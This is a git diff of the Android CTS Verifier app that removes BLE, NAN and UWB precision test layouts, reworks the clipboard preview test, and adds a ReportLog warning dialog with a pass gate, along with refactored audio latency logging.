diff --git a/apps/CtsVerifier/res/layout/ble_rssi_precision.xml b/apps/CtsVerifier/res/layout/ble_rssi_precision.xml
deleted file mode 100644
index 5f01e1f..0000000
--- a/apps/CtsVerifier/res/layout/ble_rssi_precision.xml
+++ /dev/null
@@ -1,60 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2022 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:tools="http://schemas.android.com/tools"
- android:layout_width="match_parent"
- android:layout_height="match_parent"
- android:orientation="vertical"
- style="@style/RootLayoutPadding"
- tools:ignore="Autofill">
-
- <ScrollView
- android:layout_width="fill_parent"
- android:layout_height="wrap_content">
-
- <LinearLayout
- android:orientation="vertical"
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
-
- <TextView
- android:text="@string/ble_rssi_precision_test_instructions"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:scrollbars="vertical" />
-
- <EditText
- android:id="@+id/report_rssi_range"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:hint="@string/report_ble_rssi_range"
- android:inputType="number" />
-
- <EditText
- android:id="@+id/report_reference_device"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:hint="@string/report_reference_device"
- android:inputType="text" />
-
- <include
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- layout="@layout/pass_fail_buttons" />
- </LinearLayout>
- </ScrollView>
-</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/ble_rx_tx_calibration.xml b/apps/CtsVerifier/res/layout/ble_rx_tx_calibration.xml
deleted file mode 100644
index 3ca955b..0000000
--- a/apps/CtsVerifier/res/layout/ble_rx_tx_calibration.xml
+++ /dev/null
@@ -1,66 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?><!--
- ~ Copyright (C) 2022 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:tools="http://schemas.android.com/tools"
- android:layout_width="match_parent"
- android:layout_height="match_parent"
- android:orientation="vertical"
- style="@style/RootLayoutPadding"
- tools:ignore="Autofill">
-
- <ScrollView
- android:layout_width="fill_parent"
- android:layout_height="wrap_content">
-
- <LinearLayout
- android:orientation="vertical"
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
-
- <TextView
- android:text="@string/ble_rx_tx_calibration_test_instructions"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:scrollbars="vertical" />
-
- <EditText
- android:id="@+id/report_channels_rssi_range"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:hint="@string/report_channels_ble_rssi_range"
- android:inputType="number" />
-
- <EditText
- android:id="@+id/report_cores_rssi_range"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:hint="@string/report_cores_ble_rssi_range"
- android:inputType="number" />
-
- <EditText
- android:id="@+id/report_reference_device"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:hint="@string/report_reference_device"
- android:inputType="text" />
-
- <include
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- layout="@layout/pass_fail_buttons" />
- </LinearLayout>
- </ScrollView>
-</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/clipboard_preview.xml b/apps/CtsVerifier/res/layout/clipboard_preview.xml
index 85f38c8..efec118 100644
--- a/apps/CtsVerifier/res/layout/clipboard_preview.xml
+++ b/apps/CtsVerifier/res/layout/clipboard_preview.xml
@@ -31,86 +31,6 @@
android:layout_marginBottom="100dp"
android:layout_marginTop="30dp"
android:text="@string/clipboard_preview_test_copy_button"/>
-
- <TableLayout
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
- <TableRow
- android:layout_width="match_parent"
- android:layout_height="50dp">
- <View android:layout_weight="3"
- android:layout_height="50dp"/>
- <Button android:layout_weight="1"
- android:id="@+id/clipboard_preview_test_b1"
- android:layout_width="50dp"
- android:layout_height="50dp"
- android:text="1"/>
- <Button android:layout_weight="1"
- android:id="@+id/clipboard_preview_test_b2"
- android:layout_width="50dp"
- android:layout_height="50dp"
- android:text="2"/>
- <Button android:layout_weight="1"
- android:id="@+id/clipboard_preview_test_b3"
- android:layout_width="50dp"
- android:layout_height="50dp"
- android:text="3"/>
- <View android:layout_weight="3"
- android:layout_height="50dp"/>
- </TableRow>
- <TableRow
- android:layout_width="match_parent"
- android:layout_height="50dp">
- <View android:layout_weight="3"
- android:layout_height="50dp"/>
- <Button android:layout_weight="1"
- android:id="@+id/clipboard_preview_test_b4"
- android:layout_width="50dp"
- android:layout_height="50dp"
- android:text="4"/>
- <Button android:layout_weight="1"
- android:id="@+id/clipboard_preview_test_b5"
- android:layout_width="50dp"
- android:layout_height="50dp"
- android:text="5"/>
- <Button android:layout_weight="1"
- android:id="@+id/clipboard_preview_test_b6"
- android:layout_width="50dp"
- android:layout_height="50dp"
- android:text="6"/>
- <View android:layout_weight="3"
- android:layout_height="50dp"/>
- </TableRow>
- <TableRow
- android:layout_width="match_parent"
- android:layout_height="50dp">
- <View android:layout_weight="3"
- android:layout_height="match_parent"/>
- <Button android:layout_weight="1"
- android:id="@+id/clipboard_preview_test_b7"
- android:layout_width="50dp"
- android:layout_height="match_parent"
- android:text="7"/>
- <Button android:layout_weight="1"
- android:id="@+id/clipboard_preview_test_b8"
- android:layout_width="50dp"
- android:layout_height="match_parent"
- android:text="8"/>
- <Button android:layout_weight="1"
- android:id="@+id/clipboard_preview_test_b9"
- android:layout_width="50dp"
- android:layout_height="match_parent"
- android:text="9"/>
- <View android:layout_weight="3"
- android:layout_height="50dp"/>
- </TableRow>
- </TableLayout>
- <Button
- android:id="@+id/clipboard_preview_test_b0"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:layout_gravity="center"
- android:text="0"/>
<include
android:id="@+id/clipboard_preview_test_pass_fail"
android:layout_width="match_parent"
diff --git a/apps/CtsVerifier/res/layout/nan_precision.xml b/apps/CtsVerifier/res/layout/nan_precision.xml
deleted file mode 100644
index c81a9c4..0000000
--- a/apps/CtsVerifier/res/layout/nan_precision.xml
+++ /dev/null
@@ -1,92 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2022 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="match_parent"
- android:layout_height="match_parent"
- android:orientation="vertical"
- style="@style/RootLayoutPadding">
- <ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="fill_parent"
- android:layout_height="wrap_content">
- <LinearLayout android:orientation="vertical"
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
- <TextView android:text="@string/nan_precision_instruction"
- android:id="@+id/nan_precision_instruction"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:scrollbars="vertical"/>
- <LinearLayout android:orientation="vertical"
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
- <EditText android:id="@+id/nan_bandwidth"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:inputType="number"
- android:hint="@string/report_nan_bandwidth_mhz"/>
- <EditText android:id="@+id/distance_range_10cm_gt_68p"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:inputType="numberDecimal"
- android:hint="@string/report_distance_range_10cm_gt_68p"/>
- <EditText android:id="@+id/distance_range_1m_gt_68p"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:inputType="numberDecimal"
- android:hint="@string/report_distance_range_1m_gt_68p"/>
- <EditText android:id="@+id/distance_range_3m_gt_68p"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:inputType="numberDecimal"
- android:hint="@string/report_distance_range_3m_gt_68p"/>
- <EditText android:id="@+id/distance_range_5m_gt_68p"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:inputType="numberDecimal"
- android:hint="@string/report_distance_range_5m_gt_68p"/>
- <EditText android:id="@+id/distance_range_10cm_gt_90p"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:inputType="numberDecimal"
- android:hint="@string/report_distance_range_10cm_gt_90p"/>
- <EditText android:id="@+id/distance_range_1m_gt_90p"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:inputType="numberDecimal"
- android:hint="@string/report_distance_range_1m_gt_90p"/>
- <EditText android:id="@+id/distance_range_3m_gt_90p"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:inputType="numberDecimal"
- android:hint="@string/report_distance_range_3m_gt_90p"/>
- <EditText android:id="@+id/distance_range_5m_gt_90p"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:inputType="numberDecimal"
- android:hint="@string/report_distance_range_5m_gt_90p"/>
- <EditText android:id="@+id/reference_device"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:hint="@string/report_reference_device"/>
- </LinearLayout>
-
- <include android:layout_width="match_parent"
- android:layout_height="wrap_content"
- layout="@layout/pass_fail_buttons"/>
- </LinearLayout>
- </ScrollView>
-</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/uwb_precision.xml b/apps/CtsVerifier/res/layout/uwb_precision.xml
deleted file mode 100644
index 14e996d..0000000
--- a/apps/CtsVerifier/res/layout/uwb_precision.xml
+++ /dev/null
@@ -1,51 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2022 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="match_parent"
- android:layout_height="match_parent"
- android:orientation="vertical"
- style="@style/RootLayoutPadding">
- <ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="fill_parent"
- android:layout_height="wrap_content">
- <LinearLayout android:orientation="vertical"
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
- <TextView android:text="@string/uwb_precision_instruction"
- android:id="@+id/uwb_precision_instruction"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:scrollbars="vertical"/>
- <LinearLayout android:orientation="vertical"
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
- <EditText android:id="@+id/distance_range_cm"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:inputType="numberDecimal"
- android:hint="@string/report_distance_range_cm"/>
- <EditText android:id="@+id/reference_device"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:hint="@string/report_reference_device"/>
- </LinearLayout>
-
- <include android:layout_width="match_parent"
- android:layout_height="wrap_content"
- layout="@layout/pass_fail_buttons"/>
- </LinearLayout>
- </ScrollView>
-</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/uwb_short_range.xml b/apps/CtsVerifier/res/layout/uwb_short_range.xml
deleted file mode 100644
index 9afc6e5..0000000
--- a/apps/CtsVerifier/res/layout/uwb_short_range.xml
+++ /dev/null
@@ -1,51 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2022 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="match_parent"
- android:layout_height="match_parent"
- android:orientation="vertical"
- style="@style/RootLayoutPadding">
- <ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="fill_parent"
- android:layout_height="wrap_content">
- <LinearLayout android:orientation="vertical"
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
- <TextView android:text="@string/uwb_short_range_instruction"
- android:id="@+id/uwb_short_range_instruction"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:scrollbars="vertical"/>
- <LinearLayout android:orientation="vertical"
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
- <EditText android:id="@+id/distance_median_meters"
- android:layout_width="wrap_content"
- android:inputType="numberDecimal"
- android:layout_height="wrap_content"
- android:hint="@string/report_distance_median_meters"/>
- <EditText android:id="@+id/reference_device"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:hint="@string/report_reference_device"/>
- </LinearLayout>
-
- <include android:layout_width="match_parent"
- android:layout_height="wrap_content"
- layout="@layout/pass_fail_buttons"/>
- </LinearLayout>
- </ScrollView>
-</RelativeLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index b39b8cc..36d4632 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -32,6 +32,16 @@
<string name="finish_button_text">Finish</string>
<string name="fail_and_next_button_text">Fail and Next</string>
+ <!-- Strings for CtsReportLog warning -->
+ <string name="reportlog_warning_title">CTS-Verifier Report Log</string>
+ <string name="reportlog_warning_body">Can\'t create folder for CTS-Verifier Report Logs.
+ \n\nPlease enable Report Log creation by exiting CTS Verifier and running the following commands:
+ \n\n<code>adb shell appops set com.android.cts.verifier android:read_device_identifiers allow</code>
+ \n\n<code>adb shell appops set com.android.cts.verifier MANAGE_EXTERNAL_STORAGE 0</code>
+ \n\nTest instructions are found in the \"Using CTS Verifier\" document found at
+ <a href="https://source.android.com/compatibility/cts/verifier">https://source.android.com/compatibility/cts/verifier</a>
+ </string>
+
<!-- Strings for TestListActivity -->
<string name="test_category_audio">Audio</string>
<string name="test_category_camera">Camera</string>
@@ -301,9 +311,12 @@
</string>
<string name="clipboard_preview_test_instructions">
Press the \'Copy\' button to copy the secret code to the clipboard.
- \n\nUse the clipboard preview UI, or the clipboard editor component to view the secret code.
- \n\nEnter the secret code using the buttons below.
+ \nDo not press any other buttons after you press the \'Copy\' button.
+ \n\n If nothing happens, press Fail.
+ \n\n If you see the word "FAIL" appear on screen, press Fail.
+ \n\n If you see a confirmation that content has been copied to the clipboard, press Pass.
</string>
+ <string name="clipboard_preview_test_secret">FAIL</string>
<string name="clipboard_preview_test_copy_button">Copy</string>
@@ -778,7 +791,7 @@
<!-- BLE Advertising Set test strings -->
<string name="ble_advertising_set_test_name">Bluetooth LE Advertising Set Test</string>
<string name="ble_advertising_set_test_info">Bluetooth LE Advertising Set tests AdvertisingSet and AdvertisingSetCallback APIs.</string>
- <string name="ble_advertising_set_test_instruction">Press the \"Set Up\" button first, then start the test by pressing the \"Start Test\" button. UI thread may freeze for a few seconds while enabling/disabling bluetooth adapter.</string>
+ <string name="ble_advertising_set_test_instruction">Press the \"Start Test\" button. UI thread may freeze for a few seconds while enabling/disabling bluetooth adapter.</string>
<string name="ble_advertising_set_start_test">Start Test</string>
<string name="ble_advertising_set_running_test">Running Test...</string>
<string name="ble_advertising_set_finished_test">Finished Test</string>
@@ -2125,10 +2138,6 @@
device was p2p device. Check the test case on the other device.</string>
<string name="p2p_connection_error">
Test failed.\n\nFailed to establish a p2p connection.</string>
- <string name="p2p_connection_latency_error">
- Test failed. \n\nConnection was expected to be established within %1$dms. But took=%2$dms.
- \n\nPlease ensure that the Group Owner is ready on the other device before running
- this test</string>
<string name="p2p_detect_disconnection_error">
Test failed.\n\nFailed to detect client disconnection.</string>
<string name="p2p_disconnect_error">
@@ -5480,6 +5489,7 @@
<string name="audio_general_test_not_run">Test Not Run</string>
<string name="audio_general_testnotcompleted">Test not completed.</string>
+ <string name="audio_general_reportlogtest">[Can\'t Write ReportLog]</string>
<!-- Audio Loopback Latency Test -->
<string name="audio_loopback_latency_test">Audio Loopback Latency Test</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java b/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java
index b013bb7..a93e3b5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java
@@ -74,6 +74,10 @@
}
}
+ public boolean isOpen() {
+ return mStore != null;
+ }
+
/**
* Closes report file. Static functions that do not have access to instrumentation can
* use this to close report logs. Summary, if present, is not reported to instrumentation, hence
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
index 0294ff7..36975c2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
@@ -32,7 +32,6 @@
import android.os.Bundle;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;
-import android.util.Log;
import android.view.LayoutInflater;
import android.view.MenuItem;
import android.view.View;
@@ -143,11 +142,13 @@
public static class Activity extends android.app.Activity implements PassFailActivity {
private WakeLock mWakeLock;
- private final CtsVerifierReportLog mReportLog;
+ private CtsVerifierReportLog mReportLog;
private final TestResultHistoryCollection mHistoryCollection;
+ protected boolean mRequireReportLogToPass;
+
public Activity() {
- this.mReportLog = new CtsVerifierReportLog(getReportFileName(), getReportSectionName());
+ newReportLog();
this.mHistoryCollection = new TestResultHistoryCollection();
}
@@ -159,6 +160,10 @@
.newWakeLock(PowerManager.SCREEN_DIM_WAKE_LOCK, "PassFailButtons");
mWakeLock.acquire();
}
+
+ if (!this.mReportLog.isOpen()) {
+ showReportLogWarningDialog(this);
+ }
}
@Override
@@ -206,12 +211,25 @@
getHistoryCollection());
}
+ protected CtsVerifierReportLog newReportLog() {
+ return mReportLog = new CtsVerifierReportLog(
+ getReportFileName(), getReportSectionName());
+ }
+
@Override
public CtsVerifierReportLog getReportLog() {
return mReportLog;
}
/**
+ * A mechanism to block tests from passing if no ReportLog data has been collected.
+ * @return true if the ReportLog is open OR if the test does not require that.
+ */
+ public boolean isReportLogOkToPass() {
+ return !mRequireReportLogToPass || mReportLog.isOpen();
+ }
+
+ /**
* @return The name of the file to store the (suite of) ReportLog information.
*/
@Override
@@ -527,6 +545,12 @@
activity.showDialog(INFO_DIALOG_ID, args);
}
+ protected static void showReportLogWarningDialog(final android.app.Activity activity) {
+ showInfoDialog(activity,
+ R.string.reportlog_warning_title, R.string.reportlog_warning_body, -1);
+ }
+
+
protected static Dialog createDialog(final android.app.Activity activity, int id, Bundle args) {
switch (id) {
case INFO_DIALOG_ID:
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
index 528d914..83b32de 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
@@ -182,12 +182,15 @@
mResultsTxt.setText(getResources().getString(R.string.analog_headset_pass_noheadset));
return true;
} else {
- boolean pass = mPlugIntentReceived &&
- mHeadsetDeviceInfo != null &&
- mPlaybackSuccess &&
- (mHasHeadsetHook || mHasPlayPause) && mHasVolUp && mHasVolDown;
+ boolean pass = isReportLogOkToPass()
+ && mPlugIntentReceived
+ && mHeadsetDeviceInfo != null
+ && mPlaybackSuccess
+ && (mHasHeadsetHook || mHasPlayPause) && mHasVolUp && mHasVolDown;
if (pass) {
mResultsTxt.setText(getResources().getString(R.string.analog_headset_pass));
+ } else if (!isReportLogOkToPass()) {
+ mResultsTxt.setText(getResources().getString(R.string.audio_general_reportlogtest));
}
return pass;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
index 6b9bf05..3f1266e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
@@ -496,8 +496,10 @@
Log.v(TAG, "Test EndedOk. " + testId + " str:"+str);
showProgressIndicator(false);
mResultTest.setText("test completed. " + str);
- if (mTestAECPassed) {
- getPassButton().setEnabled(true);;
+ if (!isReportLogOkToPass()) {
+ mResultTest.setText(getResources().getString(R.string.audio_general_reportlogtest));
+ } else if (mTestAECPassed) {
+ getPassButton().setEnabled(true);
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
index 38d99b4..030e44f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
@@ -32,6 +32,7 @@
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
+import com.android.cts.verifier.audio.audiolib.AudioDeviceUtils;
import com.android.cts.verifier.CtsVerifierReportLog;
import com.android.cts.verifier.R;
@@ -127,14 +128,8 @@
String msg = mContext.getResources().getString(
R.string.audio_routingnotification_recordRoutingMsg);
AudioDeviceInfo routedDevice = audioRecord.getRoutedDevice();
- CharSequence deviceName = routedDevice != null ? routedDevice.getProductName() : "none";
- mConnectedPeripheralName = deviceName.toString();
-
- int deviceType = routedDevice != null ? routedDevice.getType() : -1;
- textView.setText(msg + " - " +
- deviceName + " [0x" + Integer.toHexString(deviceType) + "]" +
- " - " + mNumRoutingNotifications);
-
+ mConnectedPeripheralName = AudioDeviceUtils.formatDeviceName(routedDevice);
+ textView.setText(msg + ": " + mConnectedPeripheralName);
mRoutingNotificationReceived = true;
calculatePass();
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
index a6bd4ad..413734b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
@@ -127,11 +127,11 @@
private TestSpec[] mTestSpecs = new TestSpec[NUM_TEST_ROUTES];
class TestSpec {
+ private static final String TAG = "AudioLoopbackLatencyActivity.TestSpec";
// impossibly low latencies (indicating something in the test went wrong).
protected static final double LOWEST_REASONABLE_LATENCY_MILLIS = 1.0;
final int mRouteId;
- // final double mMustLatencyMS;
// runtime assigned device ID
static final int DEVICEID_NONE = -1;
@@ -151,7 +151,6 @@
boolean mRouteAvailable; // Have we seen this route/device at any time
boolean mRouteConnected; // is the route available NOW
boolean mTestRun;
- // boolean mTestPass;
TestSpec(int routeId, double requiredConfidence) {
mRouteId = routeId;
@@ -181,14 +180,6 @@
mMeanConfidence = StatUtils.calculateMean(mConfidence);
}
- boolean getRouteAvailable() {
- return mRouteAvailable;
- }
-
- boolean getTestRun() {
- return mTestRun;
- }
-
boolean isMeasurementValid() {
return mTestRun && mMeanLatencyMS > 1.0 && mMeanConfidence >= mRequiredConfidence;
}
@@ -224,60 +215,42 @@
}
// ReportLog Schema (per route)
- private static final String KEY_ROUTEAVAILABLE = "route_available";
- private static final String KEY_ROUTECONNECTED = "route_connected";
- private static final String KEY_ROUTERUN = "route_run";
- private static final String KEY_LATENCY = "route_latency";
- private static final String KEY_CONFIDENCE = "route_confidence";
- private static final String KEY_MEANABSDEVIATION = "route_mean_absolute_deviation";
- private static final String KEY_IS_PERIPHERAL_ATTACHED = "route_is_peripheral_attached";
- private static final String KEY_INPUT_PERIPHERAL_NAME = "route_input_peripheral";
- private static final String KEY_OUTPUT_PERIPHERAL_NAME = "route_output_peripheral";
- private static final String KEY_TEST_PERIPHERAL = "route_test_peripheral";
-
- String makeSectionKey(String key) {
- return Integer.toString(mRouteId) + "_" + key;
- }
+ private static final String KEY_ROUTEINDEX = "route_index";
+ private static final String KEY_LATENCY = "latency";
+ private static final String KEY_CONFIDENCE = "confidence";
+ private static final String KEY_MEANABSDEVIATION = "mean_absolute_deviation";
+ private static final String KEY_IS_PERIPHERAL_ATTACHED = "is_peripheral_attached";
+ private static final String KEY_INPUT_PERIPHERAL_NAME = "input_peripheral";
+ private static final String KEY_OUTPUT_PERIPHERAL_NAME = "output_peripheral";
+ private static final String KEY_TEST_PERIPHERAL = "test_peripheral";
void recordTestResults(CtsVerifierReportLog reportLog) {
reportLog.addValue(
- makeSectionKey(KEY_ROUTEAVAILABLE),
- mRouteAvailable ? 1 : 0,
+ KEY_ROUTEINDEX,
+ mRouteId,
ResultType.NEUTRAL,
ResultUnit.NONE);
reportLog.addValue(
- makeSectionKey(KEY_ROUTECONNECTED),
- mRouteConnected ? 1 : 0,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- makeSectionKey(KEY_ROUTERUN),
- mTestRun ? 1 : 0,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- makeSectionKey(KEY_LATENCY),
+ KEY_LATENCY,
mMeanLatencyMS,
ResultType.LOWER_BETTER,
ResultUnit.MS);
reportLog.addValue(
- makeSectionKey(KEY_CONFIDENCE),
+ KEY_CONFIDENCE,
mMeanConfidence,
ResultType.HIGHER_BETTER,
ResultUnit.NONE);
reportLog.addValue(
- makeSectionKey(KEY_MEANABSDEVIATION),
+ KEY_MEANABSDEVIATION,
mMeanAbsoluteDeviation,
ResultType.NEUTRAL,
ResultUnit.NONE);
reportLog.addValue(
- makeSectionKey(KEY_TEST_PERIPHERAL),
+ KEY_TEST_PERIPHERAL,
mDeviceName,
ResultType.NEUTRAL,
ResultUnit.NONE);
@@ -294,6 +267,8 @@
getPassButton().setEnabled(false);
setInfoResources(R.string.audio_loopback_latency_test, R.string.audio_loopback_info, -1);
+ mRequireReportLogToPass = true;
+
mClaimsOutput = AudioSystemFlags.claimsOutput(this);
mClaimsInput = AudioSystemFlags.claimsInput(this);
mClaimsProAudio = AudioSystemFlags.claimsProAudio(this);
@@ -474,7 +449,6 @@
mTestSpecs[TESTROUTE_USB].mDeviceName = devInfo.getProductName().toString();
}
- // setTestButtonsState();
enableStartButtons(true);
}
}
@@ -533,69 +507,66 @@
return setTestNameSuffix(sCurrentDisplayMode, "audio_loopback_latency_activity");
}
- // Schema
+ // Test-Schema
private static final String KEY_SAMPLE_RATE = "sample_rate";
private static final String KEY_IS_PRO_AUDIO = "is_pro_audio";
private static final String KEY_IS_LOW_LATENCY = "is_low_latency";
private static final String KEY_TEST_MMAP = "supports_mmap";
private static final String KEY_TEST_MMAPEXCLUSIVE = "supports_mmap_exclusive";
private static final String KEY_LEVEL = "level";
- //
- // Subclasses should call this explicitly. SubClasses should call submit() after their logs
- //
+
+ private void recordRouteResults(int routeIndex) {
+ if (mTestSpecs[routeIndex].mTestRun) {
+ CtsVerifierReportLog reportLog = newReportLog();
+
+ int audioLevel = mAudioLevelSeekbar.getProgress();
+ reportLog.addValue(
+ KEY_LEVEL,
+ audioLevel,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_IS_PRO_AUDIO,
+ mClaimsProAudio,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_TEST_MMAP,
+ mSupportsMMAP,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_TEST_MMAPEXCLUSIVE,
+ mSupportsMMAPExclusive,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_SAMPLE_RATE,
+ mNativeAnalyzerThread.getSampleRate(),
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_IS_LOW_LATENCY,
+ mNativeAnalyzerThread.isLowLatencyStream(),
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ mTestSpecs[routeIndex].recordTestResults(reportLog);
+
+ reportLog.submit();
+ }
+ }
+
@Override
